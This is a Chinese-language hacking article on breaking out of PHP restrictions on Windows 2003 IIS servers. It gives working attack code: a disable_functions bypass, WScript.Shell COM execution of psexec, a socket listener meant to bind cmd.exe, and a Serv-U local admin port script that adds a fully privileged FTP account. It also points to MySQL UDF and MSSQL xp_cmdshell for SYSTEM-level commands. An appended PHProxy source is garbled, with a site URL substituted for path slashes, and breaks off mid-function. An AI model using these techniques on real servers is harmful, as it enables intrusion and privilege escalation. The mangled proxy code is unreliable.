突破WIN2003 PHP服务器的新思路

网络整理 - 07-28

从WIN2000到WIN XP, 再到WIN2003, MS IIS服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的PHP SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使IIS 和PHP都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。
 
    1、disable_functions的突破
 
    在php -4.0.1以上的版本,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:
 
    $output = `ls -al`;
  echo "
$output";
  ?>
 
    据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)
 
    2、dl()函数的应用
 
    当任何PHP的内部命令执行数和''都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子:
 
  // 加载此扩展
  dl("php_w32api.dll");
 
  // 注册 GetTickCount 函数,来自 kernel32.dll
  w32api_register_function("kernel32.dll",
  "GetTickCount",
  "long");
 
  // 注册 MessageBoxA 函数,来自 User32.dll
  w32api_register_function("User32.dll",
  "MessageBoxA",
  "long");
 
  // 取得开机时间信息
  $ticks = GetTickCount();
 
  // 转换为易于理解的文本
  $secs = floor($ticks / 1000);
  $mins = floor($secs / 60);
  $hours = floor($mins / 60);
 
  $str = sprintf("You have been using your computer for:".
  "rn %d Milliseconds, or rn %d Seconds".
  "or rn %d mins orrn %d hours %d mins.",
  $ticks,
  $secs,
  $mins,
  $hours,
  $mins - ($hours*60));
 
  // 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本
  MessageBoxA(NULL,
  $str,
  "Uptime Information",
  MB_OK);
  ?>
 
    可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。
 
    3、COM 和 .Net(Windows)函数的应用
 
    COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。
  PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在PHP中调用“WScript.Shell”执行系统命令:
 
    $cmd=” E:/cert/admin/psexec.exe”;
  if($com=new COM("WScript.Shell")) echo "yes";
 
  if(!$cmd1=$com->exec($cmd))
  {
  echo "can not exec()";
  }
 
  if(!$cmd2=$cmd1->stdout())
  {
  echo "can not stdout()";
  }
 
  if(!$cmd3=$cmd2->readall())
  {
  echo "can not readall()";
  }
  echo $cmd3;
  ?>
 
    图1是我写的一个执行psexec.exe的一个例子。
 
    这段代码与ASP的的意思是一模一样的,当然,你也可以像ASP那样调用“ADODB.Connection”,利用这个组件结合jet2溢出漏洞,可能能够在PHP Saft mode=ON下拿到一个Shell。
 
    //create the database connection
  $conn = new COM("ADODB.Connection");
  $dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
  $conn->Open($dsn);
  //pull the data through SQL string
  $rs = $conn->Execute("select clients from web");
  …..
  ?>
 
    .Net 函数只能运行在 PHP 5上,当然,它需要 “.Net runtime”的支持,而且这的PHP的一个实验性模块,功能还未齐全,所以在这就不讨论了。
 
    4、Java()函数的应用
 
    该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机,而且在PHP安装配置的时候打开了with-java的选项,代码如下:
 
  [JAVA]
  ;这是到php_java.jar的路径
  ;java.class.path = .php_java.jar
  ;JDK的路径
  ;Java.home = f:jdk1.3.0
  ;到虚拟机的路径
  ;Java.library=f:jdk1.3.0jrebinhostspotjvm.dll
 
  同COM一样,使用Java创建类(不仅仅是JavaBeans)只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子:
 
    // This example is only intended to be run as a CGI.
 
  $frame = new Java('java.awt.Frame', 'PHP');
  $button = new Java('java.awt.Button', 'Hello Java World!');
 
  $frame->add('North', $button);
  $frame->validate();
  $frame->pack();
  $frame->visible = True;
 
  $thread = new Java('java.lang.Thread');
  $thread->sleep(10000);
 
  $frame->dispose();
  ?>
 
    可惜能真正支持JAVA的PHP服务器并不多见,所以在这也不多讨论了。
 
    5、socket()函数的应用
 
    socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在php.ini这样设置:
 
  ;Windows Extensions
  ;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
  ……..
  ;去掉以下一句最前边的分号
  ;extension=php_sockets.dll
 
    使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:
 
    //在服务器上构造TCP服务
  //该例子需要php_sockets.dll的支持
  //执行后便可使用” telnet 127.0.0.1 1020”连接
  error_reporting(E_ALL);
 
  /* Allow the script to hang around waiting for connections. */
  set_time_limit(0);
 
  /* Turn on implicit output flushing so we see what we're getting
  * as it comes in. */
  ob_implicit_flush();
 
  //在服务器上绑定IP和端口
  $address = '127.0.0.1';
  $port = 1020;
 
  if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
  echo "socket_create() failed: reason: " . socket_strerror($sock) . "n";
  }
 
  if (($ret = socket_bind($sock, $address, $port)) < 0) {
  echo "socket_bind() failed: reason: " . socket_strerror($ret) . "n";
  }
 
  if (($ret = socket_listen($sock, 5)) < 0) {
  echo "socket_listen() failed: reason: " . socket_strerror($ret) . "n";
  }
 
  do {
  if (($msgsock = socket_accept($sock)) < 0) {
  echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "n";
  break;
  }
  /* Send instructions. */
  $msg = "nWelcome to the PHP Test Server. n" .
  "To quit, type 'quit'. To shut down the server type 'shutdown'.n";
  socket_write($msgsock, $msg, strlen($msg));
 
  do {
  if (false === socket_recv($msgsock, $buf , 1024, 0)) {
  echo "socket_read() failed: reason: " . socket_strerror($ret) . "n";
  break 2;
  }
  if (!$buf = trim($buf)) {
  continue;
  }
  if ($buf == 'quit') {
  break;
  }
  if ($buf == 'shutdown') {
  socket_close($msgsock);
  break 2;
  }
  $talkback = "PHP: You said '$buf'.n";
  socket_write($msgsock, $talkback, strlen($talkback));
  echo "$bufn";
 
  //以下处理接受到的buf
  /*eg:例如
  $buf=”cmd.exe /c netstat ?Can”;
  $pp = popen('$buf ', 'r');
  While($read = fgets($pp, 2096))
  echo $read;
  pclose($pp);
  */
 
  } while (true);
  socket_close($msgsock);
  } while (true);
 
  socket_close($sock);
  ?>
 
    事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:
 
    $adminuser=” LocalAdministrator”;
  $adminpass=” ”;
  $adminport=” 43958”;
  $fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
  if (!$fp) {
  echo "$errstr ($errno)
n";
  } else {
 
  //可以写入$shellcode
  // fputs ($fp, $shellcode);
 
  fputs ($fp, "USER ".$adminuser."rn");
  sleep (1);
  fputs ($fp, "PASS ".$adminpass."rn");
  sleep (1);
  fputs ($fp, "SITE MAINTENANCErn");
  sleep (1);
  fputs ($fp, "-SETUSERSETUPrn");
  fputs ($fp, "-IP=".$addr."rn");
  fputs ($fp, "-PortNo=".$ftpport."rn");
  fputs ($fp, "-User=".$user."rn");
  fputs ($fp, "-Password=".$password."rn");
  fputs ($fp, "-HomeDir=".$homedir."rn");
  fputs ($fp, "-LoginMesFile=rn");
  fputs ($fp, "-Disable=0rn");
  fputs ($fp, "-RelPaths=0rn");
  fputs ($fp, "-NeedSecure=0rn");
  fputs ($fp, "-HideHidden=0rn");
  fputs ($fp, "-AlwaysAllowLogin=0rn");
  fputs ($fp, "-ChangePassword=1rn");
  fputs ($fp, "-QuotaEnable=0rn");
  fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
  fputs ($fp, "-SpeedLimitUp=-1rn");
  fputs ($fp, "-SpeedLimitDown=-1rn");
  fputs ($fp, "-MaxNrUsers=-1rn");
  fputs ($fp, "-IdleTimeOut=600rn");
  fputs ($fp, "-SessionTimeOut=-1rn");
  fputs ($fp, "-Expire=0rn");
  fputs ($fp, "-RatioUp=1rn");
  fputs ($fp, "-RatioDown=1rn");
  fputs ($fp, "-RatiosCredit=0rn");
  fputs ($fp, "-QuotaCurrent=0rn");
  fputs ($fp, "-QuotaMaximum=0rn");
  fputs ($fp, "-Maintenance=Systemrn");
  fputs ($fp, "-PasswordType=Regularrn");
  fputs ($fp, "-Ratios=Nonern");
  fputs ($fp, " Access=".$homedir."|RWAMELCDPrn");
  fputs ($fp, "QUITrn");
  sleep (1);
  while (!feof($fp)) {
  echo fgets ($fp,128);
  }
  }
  ?>
 
    还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。
 
    6、MYSQL/MSSQL接口

    不同于linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。
  在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。
 
    总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!
 
    后面附上proxy.php的代码
 


<?php
error_reporting(E_ALL);

/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/

function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}

class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;

function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? 's' : '')
. "://";
$this->set_flags($flags);
}

function start_transfer($url)
{
$this->set_url($url);
$this->open_socket();
$this->set_request_headers();
$this->set_response();

if ($this->follow_location() === false)
{
if ($this->flags['accept_cookies'] == 1)
{
$this->set_cookies();
}
$this->set_content_type();
}
else
{
$this->start_transfer($this->url);
}
}

function open_socket()
{
$this->socket = @fsockopen($this->url_segments['host'], $this->url_segments['port'], &$errno, &$errstr, 5);

if ($this->socket === false)
{
$this->trigger_error("$errstr (<b>URL:</b> )");
}
}

function set_response()
{
fwrite($this->socket, $this->request_headers);
$response = '';

do
{
$data = fread($this->socket, 8192);
$response .= $data;
}
while (strlen($data) != 0);

fclose($this->socket);
preg_match("#(.*?)rnrn(.*)#s", $response, $matches);

$this->response_headers = $matches[1];
$this->response_body = $matches[2];
}

function set_content_type()
{
preg_match("#content-type:([^rn]*)#i", $this->response_headers, $matches);

if (trim($matches[1]) != '')
{
$content_type_array = explode(';', $matches[1]);
$this->content_type = strtolower(trim($content_type_array[0]));
}
}

function set_url($url)
{
$this->url = $this->decode_url($url);

if (strpos($this->url, '://') === false)
{
$this->url = 'http://' . $this->url;
}

$url_segments = @parse_url($this->url);

if (!empty($url_segments))
{
$url_segments['port'] = isset($url_segments['port']) ? $url_segments['port'] : 80;
$url_segments['path'] = isset($url_segments['path']) ? $url_segments['path'] : 'http://www.cuoxin.com/';
$url_segments['dir'] = substr($url_segments['path'], 0, strrpos($url_segments['path'], 'http://www.cuoxin.com/'));
$url_segments['base'] = $url_segments['scheme'] . '://' . $url_segments['host'] . $url_segments['dir'];
$url_segments['prev_dir'] = $url_segments['path'] != 'http://www.cuoxin.com/' ? substr($url_segments['base'], 0, strrpos($url_segments['base'], 'http://www.cuoxin.com/')+1) : $url_segments['base'] . 'http://www.cuoxin.com/';

$this->url_segments = $url_segments;

/*
URL: :password@< wind_code_1 >
scheme // http
host //
port // 80
user // username
pass // password
path // /dir/dir/page.php
query // ? 'foo=bar&foo2=bar2'
fragment // # 'bookmark'

dir // /dir/dir
base //
prev_dir //
*/

if (!empty($this->allowed_hosts) && !in_array($this->url_segments['host'], $this->allowed_hosts))
{
$this->trigger_error('You are only allowed to browse these websites: ' . implode(', ', $this->allowed_hosts));
}
}
else
{
$this->trigger_error('Please supply a valid URL');
}
}

function encode_url($url)
{
$url = str_rot13(urlencode(preg_replace('#^([w+.-]+)://#i', "/", $url)));
return $url;
}

function decode_url($url)
{
$url = preg_replace('#^([w+.-]+)/#i', "://", urldecode(str_rot13($url)));
return $url;
}

function modify_urls()
{
preg_match_all("#s(href|src|action|codebase|url)=(["'])?(.*?)(["'])?([s>])#i", $this->response_body, $matches, PREG_SET_ORDER);

foreach ($matches as $match)
{
$uri = trim($match[3]);
$fragment = ($hash_pos = strpos($uri, '#') !== false) ? '#' . substr($uri, $hash_pos) : '';

if (!preg_match('#^[w+.-]+://#i', $uri))
{
switch (substr($uri, 0, 1))
{
case 'http://www.cuoxin.com/':
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
break;
case '#':
continue 2;
default:
$uri = $this->url_segments['base'] . 'http://www.cuoxin.com/' . $uri;
break;
}
}

$uri = $this->encode_url($uri);
$replace = ' ' . $match[1] . '=' . $match[2] . $this->script_url . '?url=' . $uri . $fragment . $match[4] . $match[5];

$this->response_body = str_replace($match[0], $replace, $this->response_body);
}
}

function set_flags($flags)
{
if (is_numeric($flags))
{
setcookie('flags', $flags, time()+(4*7*24*60*60), '', $_SERVER['HTTP_HOST']);
$this->flags['include_form'] = $flags == 1 ? 1 : 0;
$this->flags['remove_scripts'] = $flags == 1 ? 1 : 0;
$this->flags['accept_cookies'] = $flags == 1 ? 1 : 0;
$this->flags['show_images'] = $flags == 1 ? 1 : 0;
$this->flags['show_referer'] = $flags == 1 ? 1 : 0;
}
else if (isset($_COOKIE['flags']))
{
$this->set_flags($_COOKIE['flags']);
}
}

function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0rn";
$headers .= "Host: :rn";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Connection: closern";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookiesrn" : '';

if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$this->set_post_body($_POST);

$headers .= "Content-Type: application/x-www-form-urlencodedrn";
$headers .= "Content-Length: " . strlen($this->post_body) . "rnrn";
$headers .= $this->post_body;
}

$headers .= "rn";

$this->request_headers = $headers;
}

function set_post_body($array, $parent_key = null)
{
foreach ($array as $key => $value)
{
if (is_array($value))
{
$this->set_post_body($value, isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key));
}
else
{
$this->post_body .= $this->post_body != '' ? '&' : '';
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
$this->post_body .= $key . '=' . urlencode(__stripslashes($value));
}
}
}

function follow_location()
{
if (preg_match("#(location|uri):([^rn]*)#i", $this->response_headers, $matches))
{
$uri = $this->decode_url(trim($matches[2]));

if (!preg_match('#^[w+.-]+://#i', $uri))
{
if (substr($uri, 0, 1) == 'http://www.cuoxin.com/')
{
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
}
else
{
$uri = $this->url_segments['prefix'] . 'http://www.cuoxin.com/' . $uri;
}
}

$this->url = $uri;
return true;
}
return false;
}

function set_cookies()
{
if (preg_match_all("#set-cookie:([^rn]*)#i", $this->response_headers, $matches))
{
foreach ($matches[1] as $match)
{
preg_match('#^s*([^=;,s]*)=?([^;,s]*)#', $match, $cookie) ? list(, $name, $value) = $cookie : null;
preg_match('#;s*expiress*=([^;]*)#i', $match, $cookie) ? list(, $expires) = $cookie : null;
preg_match('#;s*paths*=s*([^;,s]*)#i', $match, $cookie) ? list(, $path) = $cookie : null;
preg_match('#;s*domains*=s*([^;,s]*)#i', $match, $cookie) ? list(, $domain) = $cookie : null;
preg_match('#;s*(secureb)#i', $match, $cookie) ? list(, $secure) = $cookie : null;

$expires = isset($expires) ? strtotime($expires) : 0;
$path = isset($path) ? $path : $this->url_segments['dir'];
$domain = isset($domain) ? $domain : $this->url_segments['host'];
$domain = rtrim($domain, '.');